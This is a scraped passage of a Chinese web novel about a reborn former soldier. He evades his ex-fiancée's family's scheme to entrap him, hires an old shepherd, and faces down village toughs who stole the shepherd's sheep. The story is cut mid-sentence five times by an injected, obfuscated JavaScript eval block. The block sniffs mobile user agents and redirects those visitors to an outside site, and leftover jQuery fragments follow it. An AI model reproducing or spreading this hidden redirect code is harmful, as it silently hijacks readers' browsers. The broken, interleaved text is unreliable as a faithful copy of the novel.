说完就准备转身离开,他现在没脸看这女人,把自己当二百五呢!
“你等下,晚上回去不?”
“不回去我住哪,你什么意思?”
“我们甜食店大扫除,回去怕晚了,你捎我回去呗!”
华妮娜刚说完,黎军就再次脸色大变,撒丫子往回跑,跟狼撵似的。
“你无耻,卑鄙下流!”
路上稀稀拉拉的行人都被吓了一跳,这一声太突兀、太大了。
第45章 寒风中凌乱
华妮娜又一次被雷得外焦里嫩,她无辜地左右看了看,寒风中的她显得有些无助。
“你……你神经吧,我怎么就无耻了,莫名其妙,一家子神经病,真是亏了你八辈祖宗了……”
反应过来后,华妮娜原地跳脚,一大堆含祖宗量极高的话语喷了出来,太气人了。
黎军跑回食堂大门,直接咔一声关闭大门,做出抚胸大喘气的姿势。
伍一凡呆愣愣地看着他:“黎大哥,你这是咋了,被狗撵了吗,这么慌张的?”
“差不多吧!”
黎军说完就往后厨走去,华妮娜让他晚上回去捎着她,放在以往这事没啥问题,不能做朋友,还是一村一院的邻居。
但是现在这节骨眼上,他把人家未婚夫都整进去了,他不敢跟她单独相处,万一这女人使点小心眼,他可不想沾染上麻烦。
重活一世他是来享受生活的,可不是经历糟心事的。
伍一凡看着路边还在跳脚的华妮娜,心里有点懵懵的,黎大哥这是把人家姑娘咋了?
李谋女和刘曼几个老员工也趴在门后看。
“这不是黎师傅的前未婚妻吗,咋又来了?”
“看着挺生气的,黎军把她咋了,一凡,你在这看见啥了?”
女人的八卦潜质又上来了。
“我不知道,就看见黎大哥狗撵似的跑回来,一副惊魂未定的样子。”
“不会把人家哪个了吧?”
“哪个……”
六点多点,黎军解下围裙换了工服,跟后厨几个师傅交代了一下,然后跟经理打个了招呼,骑着自行车往跃进公社而去。
从县城到黎军所在的村庄,要经过三四公里的麦田,一条土路从田野中蜿蜒穿过。
冬季的田野,六点多天色已经暗淡下来,清冷的雾霭平铺在田野上宛若绸缎。
昏暗的天穹下,每隔几十米,就有一个黑疙瘩点在土路边上。
这是生产队时期,集体种西瓜甜瓜这类经济作物时修的的窝棚,用来给民兵值班时使用,里边大多只有一个土炕。
土地下户时,这些窝棚都分给了附近的土地所有者。
如今除了几家种菜的农户还保留着用途之外,其他的基本都荒废了。
八点多,其中一个废弃窝棚前,六七个黑影瑟缩着脖子张望。
“姑丈,这事我咋觉得不靠谱呢!”
马权利上次给二姑护驾,差点被下了大牢,现在又整这出,心里有些发怵。
“二姑,咱们抓包表姐,我咋觉得有点悬呢,那个黎军真的会上当吗?”
马登高也觉得心里没底。
华龙看着两个表弟道:“放心吧,那杂碎下班回来就一个人,我姐只要挡住他一小会就行了,咱哥几个呼啦一下把他推进窝棚,然后华虎去报警……”
马氏兄弟还是不放心:“牛不喝水你按着它也没用,更何况这种事呢!”
马翠花听着两个侄子缺心眼的话怒道:“你俩还能不能行了,一人一斤羊肉泡白吃了,这事可由不得他,**来了还不是由咱们一家人说辞。”
华老三无语道:“娘仨都是缺心眼的货,你们跟权利和登高明说不行吗,咱们就是做做样子,妮娜还能白给人玷污了不成。”
“哦……假的啊,害我白惊喜……嗯不,白惊悚一场!”
“那就行了,我就说嘛,妮娜姐还能白给人玩了。”
两个表弟的话让华妮娜**的心都有了,华老三两口子更是气得要吐血。
泥马的,谁家好人能说出这种话。
华妮娜看着漆黑的田野,心里无比悲凉。
她跟黎军从小一起玩,一起长大、上学,再到谈婚论嫁,感情基础挺好的,不知道什么时候开始,居然演变成这样。
现在黎军跟她连一句话都不想说,见面更是避之如蛇蝎一般。
大概就是父母要了两千块钱彩礼,一切就突然不可控了。
“二姑,姑丈,咱们先躲进窝棚里吧,骑自行车过来有声音的,到时候妮娜姐那么大个人往路中间一站,他还能看不见吗?”
马权利吸溜着大鼻涕,觉得自己都要冻僵了。
大冬天的站在毫无遮拦的荒野上,北风嗖嗖的往脖子袖口里灌,身上的热量瞬间就被带走。
华龙华虎也好不到哪去,他俩白天在厂里上班,穿得本来就单薄,现在比马氏哥俩还不如呢!
“妮娜,你问他了没,确定晚上他会回家。”
马翠花跺着双脚,吸溜吸溜地问着闺女。
“啊嚏……”
华妮娜时不时就打几个喷嚏,明显被冻得不轻,此刻她就觉得浑身冰冷,眼前一阵阵的发黑,主要还是心里哇凉。
“他亲口说的,回他家只有这一条路,他还能走哪?要是嫌冷就回去呗,反正我也不想弄这事,缺了大德了都!”
要不是夜色浓重,华老三都觉得自己要尬**,一群晚辈面前,自己这主意可不是缺了大德吗。
一家人在寒冷漆黑的田野里瑟瑟
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067815|195174||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
发抖,等到十一点的时候,也没看见黎军的一根**。
“老头子,要不今天算了吧,这都几点了,他兴许不回来了呢!”
“就是,姑丈,我的鼻子都要冻掉了,改天再来吧!”
马权利现在也不擤鼻涕了,几个小时不停地甩鼻涕,他觉得鼻头都要捏掉了。
华龙华虎早就受不了了:“爸,今天算了吧,我们明天还要上班呢,今晚变天了,冷的人实在受不了。”
华老三叹气,只能带着一家人打道回府,再耽搁下去,他怕一家人都得感冒。
打死华家人也没想到,他们在寒风中凌乱了几个小时,苦苦等待的正主,此刻跟弟弟黎强正从姐姐家骑自行车返回。
哥俩去姐姐的新宅基地帮忙,被姐夫的族兄安排去几公里外的石灰窑拉生石灰,这是打地基的必需品。
两个人来回跑了两趟,回姐姐家已经十点多了,随便啃了两个馒头夹油泼辣子就骑车往回赶。
黎军第二天还要上班,黎强也要去老村里围铁丝网。
一个礼拜前,黎强在安市联系了一家生产铁丝围栏的作坊,花了两千多块定做了一千米的围栏。
要把老村和后边的矮山围起来,这点围栏可不够,当时这玩意太费钱了,哥俩就商量用铁丝围栏先把村子围起来。
至于后山,则使用水泥预制一些混凝土桩子,用铁丝简单拉几道围篱就行了,这玩意就是个形式,表明荒山已经有主就行了。
承包老村和荒山的合同,早在第二天村部就集体通过了。
理由是这些地方反正荒废着,白给都没人要,有人承包还能给村里创收,改善村里办公条件,让荒山不再继续荒废等等。
于是该地域就以每年五百块的高价被黎军承包过来,期限是三十年,符合当时的土地承包政策,以后每三年结一次承包费。
五百块的高价还是黎军自己出的,按照村委会的意思,每年给个两三百就行了。
当时农户年收入不过三五百,用一年多的收入去承包无人问津的荒山老村,村里人都觉得这孩子当兵出问题了,可能把脑子就在部队上没带回来。
“哥……前边有人呢!”
快进村时,黎强追上哥哥说道。
“嗯,看样子是往华家庄去的,别管闲事了,赶紧回去,我累得球上落只蝇子都不想撵。”
黎军忙活了一天,晚上又跟弟弟拉着架子车来回跑了十几公里,就觉得自己快要散架了。
第46章 苦命杨老头
自行车在坑洼的土路上颠簸,声音在寂静的夜空里格外明显。
华家人被冻得拔凉,正缩着脖子往回走呢,就听到身后有声音传来。
华龙华虎往身后看了看,就看见两个高大身影骑着自行车正在左拐,往三队方向驶去。
“黎军”
等了大半夜,这哥俩太想念黎军了,结果都放弃回家了,却看见这家伙出现在身后,激动之余就不自觉喊出声来。
黎军稍微停顿一下,然后双腿使劲,自行车踩得都要冒火星子了。
“哥,那是华家人吗?”
自行车进村,黎强才呼哧带喘地追上黎军问道。
“嗯,百分之百就是,他家那几个活宝,烧成灰我都能认出来。”
“这么晚他们干嘛去了?”
“谁知道,华妮娜今天下午去单位找我,让我回来捎着她呢!”
黎强都惊呆了:“啊……这家人什么操作,光屁股推磨,转圈丢人吗,都闹成这样子了还来找你,咋了……就显她脸大吗!”
哥俩一边说一边回家。
“哥,你麻烦大了,那家人肯定没憋好屁,没准又想打你的主意呢!”
“凭啥这么说?”
“你看吧,一审判决书不是下来了吗,你要上诉侯胜利就得重判,肯定是侯正东又去找华家人想办法了。
他们能有啥办法说动你不上诉,除了华妮娜这张感情牌还能是啥?
你说他们一家子这么多人,不会是想阴你吧?华老三那人唯利是图,只要给钱,把闺女卖窑子都有可能……”
黎强仔细帮哥哥分析各种可能,越说越觉得接近真相。
黎军黑着脸:“姥姥的,华家人真是踏马的戏多,她家人我早就看透了,才不会上当呢,今天她来找我,根本就没给她靠近的余地。”
第二天一大早,黎军骑自行车去上班,路过老村路段的时候,就看见杨老头佝偻着背,抄着双手站在路边。
“老杨叔,一大早你站在这干嘛,冷僻荒荒的,看你那鼻涕都要冻成冰溜子了,你的羊呢?”
杨老头吸溜了一下鼻涕,讪笑道:“老侄,我是专门在这等你的,你着急吗?”
黎军知道他想问自己有空没。
“我不着急,你老有事直接说。”
说着递给老头一根烟,这次他没有拒绝,接住后夹在耳朵后。
“老侄,我听说你当过兵,肯定是个好人,叔有事想问你。”
这好人卡发的,黎军都觉得不好意思了,他从来不认为自己是好人,尤其是被**讹了四万块之后。
“啥事?”
“前几天,你弟弟经常来村里,说是这废弃的村子已经被你承包了,我想问问你,能不能别赶我走?老头子孤家寡人的没地方去呢!”
杨老头一脸祈求的看着黎军。
“嗨……就这事啊,我本来就没打算撵你走啊,放心的住着吧,等我把村子休整好之后,再盖几间大瓦房,你没地方住,也可以住进去,那些窑洞太破,住着也不安全。”
杨老头不确定问道:“你收留我这老头子,图啥啊?”
无利不起早谁都知道,没点贡献人家凭啥收留一个糟老头子。
“叔,实不相瞒,我把这片荒山也承包了,打算搞养殖呢,到时候山里养鸡养羊养猪的,不得需要人手吗?
对了,说到这还得问你个事,你愿意帮别人干活吗,我是说等我的养殖场开起来,你愿不愿给**,管饭开工资那种?”
杨老头小鸡吃米似地点头,他一个老光棍日子恓惶,六七只养到冬季不产奶,吃饱饭都成问题。
要是有管饭的差使,不得屁颠的贴上去啊,更何况黎军说还有工资拿。
“那还考虑啥,老头子指定愿意啊,我就说你是个好人,那你们啥时候开始呢?”
黎军想了想:“年前肯定是不行了,只能先把围篱栽了,年后天气回暖,我雇一台推土机,把村子彻底推一遍,然后就可以慢慢地搞起来了。”
“太好了,我老头子居然还有挣工资的一天。”
杨老头这时才把烟从耳朵取下来点上。
黎军知道这老头身体好,腿脚也利索,于是再次问道:“叔,你的羊呢,我的意思是现在没啥事,你直接就给**呗,我弟弟一个人栽围栏恐怕不行呢!”
说到羊,老头突然神色黯淡,没延迟几秒,居然老泪纵横起来。
这一下就
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067816|195174||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
把黎军整得不会了。
“哎……不至于不至于,杨叔,你咋还哭上了,是感动的吗?”
这话一出,老头更悲戚了,嘴唇子不停地哆嗦,清亮的鼻涕拉丝一样垂下,声音哽咽道。
“呜呜……老天爷不开眼啊……呜呜……”
黎军整个人都不好了,老头子这么一整,仿佛他欺负了人家一样。
“杨叔,有话慢慢说,别激动。”
他是真怕啊,这老头万一太激动脑溢血就乐子大了。
“哪里人都欺生,我老头子无儿无女,一声悲凉,流落到你们村,就靠养几只羊吊着这条老命呢!
昨天晚上,来了几个大小伙子,有的还背着枪,跟我鬼扯了一会,说这是他们村的地盘,想在这住就得掏钱。
我来这都十几年了,哪里不知道这是废弃的村子。
以前我也问过村长,这里的人搬去公路上时,村里给批了庄子(宅基地),这地都回收了。
临了那几个人还抢走了我一只羊,说是这些年的租赁费……以后每年都得孝敬他们一只羊。”
杨老头声泪俱下地说着自己的遭遇,是真正的老泪纵横。
黎军哪里还听不出来,这就是村里的一群泼皮无赖,大冬天闲得蛋疼,上山打猎下套子,可能是一无所获路过老村,就撞上了杨老头,结果就活该他这个外来户倒霉了。
“混账东西,这不是**吗,那些人啥明显特征没?”
杨老头想了一下:“有一个背枪的满脸麻子,尤其是额头,一个很深的麻子坑。”
“李二麻子。”
黎军一下就想起一个人来,邻村另一个赶马车的李把式家的二儿子,这人跟他年龄差不多,算是一起长大的发小。
他家有**,几个儿子都会玩,有一年农闲,两个儿子抢着玩,结果**走火,直接轰了老二一个满脸花子。
幸好当时有部队在村里拉练,用军车送到医院抢救,从脸上挑出了三十几粒铁砂,命是保住了,但是却毁了容,加上钟大爷家穷得要吃土,就一直没找到老婆。
每到农闲,这货就会带着村里一群半大小子,上山下河倒腾野味,十里八乡没有不知道的。
第47章 恶人自有恶人磨(上)
李二麻子本名李春材,黎军小时候都是叫他蠢材的。
从参军后,他就没太见过李春材,两年才探一回亲,回家各式各样的事情,自然就跟村里的发小们走得远了。
“杨叔,那个麻子就是我们邻村的,你没见过他吗?”
杨老头摇头,他平时基本不去村里,也就人口排查时去过村部几次,认识几个村干部,邻村的基本不认识。
“这样吧,羊的事你别操心了,回头我给你把钱要过来,到了那些人手里,肯定是杀了吃肉了。
这两天我弟过来,你直接跟着他干,我每个月给你开四十五块,吃饭的话去我家里吃,我妈做啥你吃啥,行不?”
杨老头点头:“行,怎么不行,简直太行了,那我还有六只羊咋办?”
“养着呗,到时候都给你算成钱,反正我也要买些羊的。”
养羊这事在当地算是比较靠谱的事,当地人喜吃羊肉,羊肉泡馍,水盆羊肉,羊肉馆不少,经济复苏后羊的缺口极大。
杨老头搓着粗糙的大手讪笑:“真是太好了,老头子的好日子要来了。”
黎军看了看天色,觉得上班时间快到了,于是对杨老头问道:“那就这样说定了,对了叔,你叫啥名字?”
杨老头尴尬笑笑,颇有些不好意思道:“嘿嘿,我叫杨……杨狗蛋。”
黎军一口烟呛在喉咙里,眼泪都憋出来了。
“是大名吗?”
杨老头点头。
好嘛,还不如叫狗剩呢,话说老一辈人取名字都这么草率的吗?
“嘿嘿嘿,山里人没文化,我大说名字贱好养活,我哥叫狗剩!”
黎军跪了,表示打心底服了,五体投地这成语可以了解下。
二食堂现在的生意是蒸蒸日上,一天的营业额在**百上下徘徊,偶尔还会上千,这么下去,月底近三万有望,比其他两个食堂多了超过三成营业额,妥妥的第一是没跑了。
午饭时,史建军贱嗖嗖地凑到黎军跟前。
“大军,我看你现在也没个正经女朋友,我给你介绍一个呗?”
这货说话时,完全没注意李莉莎**般的眼神。
黎军笑道:“行啊,我这人择偶条件不高,长相过得去就行,身高别太低,比我低点也没啥。”
史建军上下打量他一下:“你这是好人说话呢,哪个女孩子能长这么高?”
黎军没搭理他,接茬道:“身体别太瘦,我这人不喜欢太瘦的,你懂的。”
这货说话时,用双手在胸口比划了一下,懂得都懂。
史建军笑道:“这点包你满意,比李大脯子一点也不弱。”
说话时特意瞄了一眼李谋女,众人都顺着他的目光瞟过去,这女人顿时就炸毛了,一杯茶水顺势就泼了过来。
“狗嘴吐不出**,在胡咧咧三条腿给你打折了。”
人群轰笑。
“这你舍得吗,不知道多稀罕呢!”
服务员那桌,扔过来一支筷子和一头大蒜。
人群再次爆笑。
要说荤段子开车这种事,后厨之地就是万花筒。
黎军刚要起身添饭,一只雪白的玉手直接抢过去。
“我去帮你添饭。”
李莉莎一天不是倒茶就是添饭,黎军这老脸被整得怪难堪的。
尤其是伍一凡来了之后,就觉得这行为更加不合适了。
因为某人已经出现了渣男属性,有点移情别恋了,虽然目前两个人还当不起一个“情”字。
“还有啥要求,一次性说完,我好让我那口子对症下药。”
史建军继续叭叭。
黎军被史建军从尴尬里解救出来,厚着脸皮道:“皮肤别太黑就成,就像是绵羊那种就行了。”
“切……”
“没睡醒吧!”
一阵倒彩声响起。
“听听,大家都听听,说的这叫人话吗,好人谁能说出这种话,人能比绵羊白吗?”
“那估计就只能单着了,这种也只有年画里才有,抱着大鲤鱼的那种。”
“咣”
李莉莎黑着脸把米饭碗放在黎军面前,像极了喂狗时的情形。
黎军忍不住翻白眼:“同志,请注意下态度啊,我又没请你添饭。”
这话可以说是非常不客气了。
李莉莎赌气起身,端着碗去了服务员那桌。
史建军等人看了看黎军,都拿起筷子坏笑吃饭。
下午上班,黎军上炉子炒菜,一
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067817|195174||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
眼都没看李莉莎,这女人的心思他明白,但是两个人又没确定关系,犯得着这么上纲上线吗,真是有点不知所谓,毛病都是惯的。
晚上提前下班,黎军没有回家,而是去了李二麻子家所在的第六生产小队。
李二麻子虽然被毁容,但是却心灵手巧,打猎手艺非常不错,每到冬天就是他的好日子,上山打猎下河摸鱼让他总能网罗到几个知心小弟,跟着他一天天的混吃混喝,自己也得到情绪上的满足。
昨天晚上他带了四个小弟,上山下捕兽夹子,结果回来时路过黎军他们的老村子,就听到有羊咩咩的声音传来。
于是几个人就循着声音找到杨老头的窑洞,这才发现废弃的村里居然还有个外来的老光棍,那些肥嘟嘟的山羊看得他们那叫一个馋。
也许大冬天的,再没有比吃羊肉喝老酒更惬意的事了。
从一个老头手里生拉硬拽走一只山羊,这些人根本没意识到自己的行为已经犯法了。
当天夜里就把羊给杀了,满满炖了一大锅,又去村里老吴家用粮食换了几斤包谷烧。
夜幕降临,李把式家的厦房里,李二麻子大马金刀地坐在炕头抽烟袋锅子。
几个小弟在房间里忙活,他们在火盆里放上燃烧的蜂窝煤,又把一个瓦盆放到上边,里边是咕嘟咕嘟冒着热气的羊汤。
“春材哥,西头牛寡妇家的大黄狗不错,啥时候套过来给炖了咋样,听说狗肉是热性,大补?”
“吃狗肉喝烧酒,冬天就得这么整。”
“狗肉滚三滚,神仙站不稳。”
“一群光棍,补啥补,不怕裤子提不上去吗?”
大冬天,一群缺德玩意闲的蛋疼,就惦记村里谁家大公鸡上树了,大鹅跑丢了,黄狗**连上了……这些没**子的事,十里八村提起他们都脑子仁疼。
“牛寡妇不好惹,能堵在门口骂三天不重样,我可不敢给他家大黄狗想事,这只羊吃完了,再去那老光棍家抢一只。”
“我看行,一个外来户,没儿没女,养那么多大肥羊不吃白不吃。”
瞧瞧,这是好人能说出的话吗,祸害们说的那叫一个理直气壮,仿佛吃自家的一样。
第48章 恶人自有恶人磨(中)
黎军循着记忆里的位置,找到李把式家时已经八点多了。
那时候土地下户没几年,许多人还在温饱线上挣扎,大多数村里的变化都不大。
开门的是李把式,五十多岁的他穿着大裆棉裤,腿脚用布带子扎起来,看着就像是七老八十一样。
“后生,你寻谁呢?”
李把式打量了一下黎军,一脸不高兴。成天有不三不四的人来找李二麻子,他这个当爹的都要崩溃了。
“你是把式叔?”
李把式原名李富贵,当了半辈子车把式,大家都习惯这么叫他,以至于他的原名都快被人忘了。
“你是谁?”
“叔,我是三队老黎家的黎军,春材的发小。”
拴马大队姓黎的就一户,可以说无人不知。
李把式拉了个长长的哦字。
“听说你转志愿兵了,怎么这时候回来了。”
“叔,我转业了,你家春材在吗,我找他有点事?”
李把式指了指亮灯的厦房:“哎……老天爷也不降下一道天雷,劈死那祸害,你没事别跟他走太近,小心把你带坏了,不是人子的玩意。”
黎军:哎呀,这是得坏到什么程度了,做老子的都这么咒他早点死。
“呵呵,不至于,年轻人犯点错没啥,知道改就行了。”
黎军只能尬笑劝说,然后走向厦房。
一把推开房门,一股热辣难闻的气息扑面而来,黎军皱了皱眉头。
“……蠢材……
嘿……好家伙,羊膻加脚臭,白酒加香烟,汗臭带发霉,这都是什么味道啊,你们也不怕**了?”
几个坐在炕上的年轻人同时回头,其中两个认出黎军。
“黎哥、军哥……”
“李蠢材,你不认识老子了?”
黎军没搭理两个开口的年轻人,这些人比他小两岁,小时候也不一起玩。
“放**狗臭……”
“啪”
不认识的小弟张口就花花,不过话没说完,就被黎军一个大耳瓜子扇在脸上,鼻血滋滋往外冒。
“你踏马谁………”
“啪……“
“噗通”
另一个不认识黎军的抓起酒瓶子就要动手,也被赏了一记大逼兜子,这一记比刚才更狠,直接把人扇下火炕,一个狗吃屎就栽哪了。
一切都发生在电光火石之间,李春材靠在被子上吸烟,听见声音就起身,结果还是晚了,这边已经放倒了两个。
“黎……军,你怎么……”
“别动,再动老子一枪崩了你”
李春材话没说完,被黎军扇到炕底下的家伙居然从后腰掏出一把土盒子(自制短管**),顶上**就怼在黎军后脑勺上。
黎军愣了一瞬,没想到这些家伙居然还有**,当下心里一阵突突,这玩意可不是闹着玩的,万一走火可就真的凉了。
“牛子,把枪放下,都是自己人。”
李春材大吼。
牛子本名牛志强,比李春材小了几岁,一到农闲就跟着李春材混,也是个混不吝的主。
被扇了一个大逼兜,面子下不来,梗着脖子叫嚣:“踏马的什么自己人,上来就拿大耳瓜子招呼,老子今天非扒了他的皮不……”
牛子话没说完,就觉得自己手腕一阵剧痛,黎军不知道啥时候,两只大手紧握他的手腕和土盒子**,然后扭腰抵肩,上身一个下压。
牛志强就觉得一阵天旋地转,自己居然飞起来了。
“噗”
下一瞬,一米七八的身体就直挺挺地砸在火炕上,手里的土盒子也不见了。
黎军作为八年的老兵,徒手肉搏都是经过训练的,除去开始的一瞬间就冷静下来,土盒子的**是外置的,只要攥住就不会激发。
这个过肩摔堪称教科书级别,牛志强一个普通人,一下就摔得七荤八素爬不起来了。
黎军用土盒子怼在他额头:“小子,老子**玩枪的时候,你还在你妈怀里吃奶呢,跟我耍二球,你还差了点。”
李春材都惊了,黎军什么人他太清楚了,小时候就仗着爷爷教的拳脚功夫,十里八乡都打遍了。
“黎军、黎军,冷静点,你们都给老子安静点,知道这是谁吗?”
认识的两个人立刻对其他人解释:“都别冲动,这是三队的黎军哥,他这些年不在家你们不认识,牛子,你太冲动了,一点误会居然亮家伙。”
李春材捏住黎军手里的土盒子**,脸带讪笑:“大楞子你也是,多年不见了,兄弟们认不出你很正常,嘴巴里花花是咱们这些人的习惯,你倒好,抬手就
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067818|195174||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
打。”
黎军只是想给这些人一个下马威,并不想把事情弄僵。重来一次,许多计划还要利用这些人呢。
于是借坡下驴,松开手里的土盒子。
“我说蠢材,几年不见,你小子长能耐了啊!”
“哈哈哈……你大楞子也不差,这身手比以前更腻害了?”
这吹捧是不错,但是大楞子的外号就让某人脸黑了。
“你**再敢叫我大楞子,我直接蛋给你踢爆。”
这时躺在炕上的牛志强起身:“春材哥,这事你不打算给兄弟个解释吗?”
看到黎军跟自己老大挺熟,牛志强怨气满满。
“兄弟,你不认识黎军,张口就骂打你不冤,你还知道他的大楞子外号咋来的吗?”
黎军十三四岁时,因为邻村一个成年人骂他一句“日.你妈”,结果愣是拎着菜刀把人撵出去五里地,后来还是被父母硬拉回去的。
就这还不算,后期又拍了人家三次黑砖一次闷棍才罢手。从那时起,大楞子的外号就坐实了。
“原来你就是黎军啊,兄弟失敬了,不该没问清楚就骂你的,这巴掌挨得不冤,兄弟是跃进公社的,以后请黎军哥多关照。”
慕强的本能在年轻人身上凸显得淋漓尽致,牛志强佩服的五体投地。
“黎军哥,我叫屈战,也是跃进公社,以后请多关照。”
两个人冲黎军抱拳,像极了水浒里的江湖好汉。
黎军掏出一包红塔山拆开,给几个人递了过去。
“抱歉了兄弟,难怪不认识你们,也怪我这人脾气太冲,见不得说话捎带老娘的,多见谅啊,以后就是兄弟了,改天我做东,咱们国营饭店摆一桌。”
李春材打量了一圈,满脸的笑意:“怎么样,我兄弟敞亮吧,叫你们嘴巴没个把门的,一天逮谁都乱喷祖宗。”
牛志强和屈战挠了挠头:“嘿嘿,春材哥和军哥教训的是,这脾气以后得改改了。”
黎军打心里喜欢这几个年轻人,虽然看着痞了点,却似乎挺上道,这种人利用好了,简直就是他的左膀右臂了。
“军哥,我就不介绍了吧,咱们一个大队的。”
“就是就是,军哥,我们还是一个小队的,我家在西头,就是你老丈人家对门的。”
第49章 恶人自有恶人磨(下)
黎军看向说话的两个小子,分别指了指两人:“你是……钟大伟,蔺小权?”
“对对对,军哥好记性。”
“咱们有五六年没见过了吧?”
黎军点头:“的确有五六年了,对了,你家对门的老华家,以后别再说是我老丈人家了,我的事不信你们没听过。”
说话的蔺小权有点尴尬,农闲时,这种事在农村传播得特别快。
不管谁家,一点风吹草动就会被各村头的情报站迅速传播开来,速度堪比网络。
“对了大军,村里传你的闲话是真的吗,华老三真把闺女嫁给了侯**的烧包儿子了?”
李春材认真问道。
黎军点头:“真的,前些天我还被侯正东带人拦路**了,脑袋都给开了瓢。”
黎军说着摘下帽子,把脑袋的伤疤给人看。
“**,你还能被套麻袋,风水轮流转了?”
李春材打趣。
“我呵呵你一脸,马有失蹄不懂吗,不过那群杂碎被我送进去了,没个十几年别想出来。”
说到这,黎军打算把今天的主要目的说出来,李春材等人的行径,也够判几年的了。
不过这时李春材指了指炕桌上的瓦盆,岔开了话题,似乎也意识到什么不妥了。
“算了大军,过去的不提了,咱们好几年没见了,相请不如偶遇,哥几个一起喝点,你也是运气好,平时还没这么硬的下酒菜呢!”
其他人也纷纷邀请,黎军虽然嫌弃屋里的气味,却不好推辞,因为他需要这些人,于是硬着头皮脱鞋上炕。
“那个……牛子,你给咱跑个路,去供销社买两瓶长脖子西凤,再买两条红塔山,剩下的钱买两封点心和天鹅蛋啥的!”
黎军掏出五张大团结递给牛志强,刚才把人摔一大跟头外加一个大逼兜子,有必要表示一下。
“好嘞,军哥到底是干过大事的,出手就是阔气。”
那年头没啥娱乐活动,尤其冬天的农村,这些无所事事的年轻人精力过剩,晚上一盆腌萝卜也能下酒。
有道是酒壮怂人胆,相当一部分违法乱纪都是因为酒后乱性才发生的。
坐在李春材家的火炕上,两瓶西凤酒下肚,瓦盆里的羊肉见底,这些人就跟黎军成了亲密无间的哥们了。
一个个把黎军都捧到天上去了。
看气氛酝酿得差不多了,黎军将烟拿过来打开,给每人扔了两盒,牛志强和钟大伟多给了一盒,剩下的都丢给了李春材。
“几年不见,刚一见面就整了个误会,这烟算是哥哥给几个兄弟赔罪了,咱们也是不打不相识了。”
“军哥,你可别寒碜兄弟们了,我们张嘴就骂人也不对。”
“就是,军哥大人有大量,别跟兄弟们一般见识。”
“军哥,以后但凡有啥事,你就直说,哥几个双刀插腰都给你办了。”
看着几个人脸红脖子粗的表忠心,黎军端起桌子上的酒杯,又酝酿了一下感情。
“兄弟们这话说得哥哥这心里就是暖啊,以后咱们多走动,有福同享有难同当才好……”
一顿煽情,把几个头脑简单,四肢发达的兄弟彻底给忽悠瘸了。
这些人恨不得掏心挖肺展示一下赤诚之心。
“蠢材,还有兄弟们,其实今天我来呢,有几个事情想跟你们谝一谝,这是哥哥的一片好心,也是肺腑之言,希望你们仔细考虑考虑。”
喝得五迷三道的兄弟们一脸虔诚。
李春材:“大军……哥,你说,兄弟们都听着呢!”
牛志强:“军……哥,有事你说话”
……
黎军放下酒杯,一脸严肃:“刚才咱们吃的这个羊肉,来路不对吧,有点抢来的味道呢!”
李春材刚要开口,却被黎军抬手挡住。
“让哥哥把话说完,不问自取视为偷,强行取拿则是抢了,你们知道**的罪名有多重吗,我被侯胜利等人抢了一百多块,最轻的被判了十五年,杨老头一旦报**,你们这辈子就算是毁了?”
所有人面面相觑,酒劲也醒了一大半。
“不对啊,那老头又不认识我们,军哥你咋知道的?”
钟大伟疑惑。
黎军看了看李春材:“你们蠢材哥的这张脸还不好认吗,这特征瞎子都能看到好吧!”
李春材的麻子脸黑了又黑,这心扎的是没谁了。
其他人一阵明悟,黎军能找到这来,肯定是老头说的呗。
起初一群人只当是耍二百
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067819|195174||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
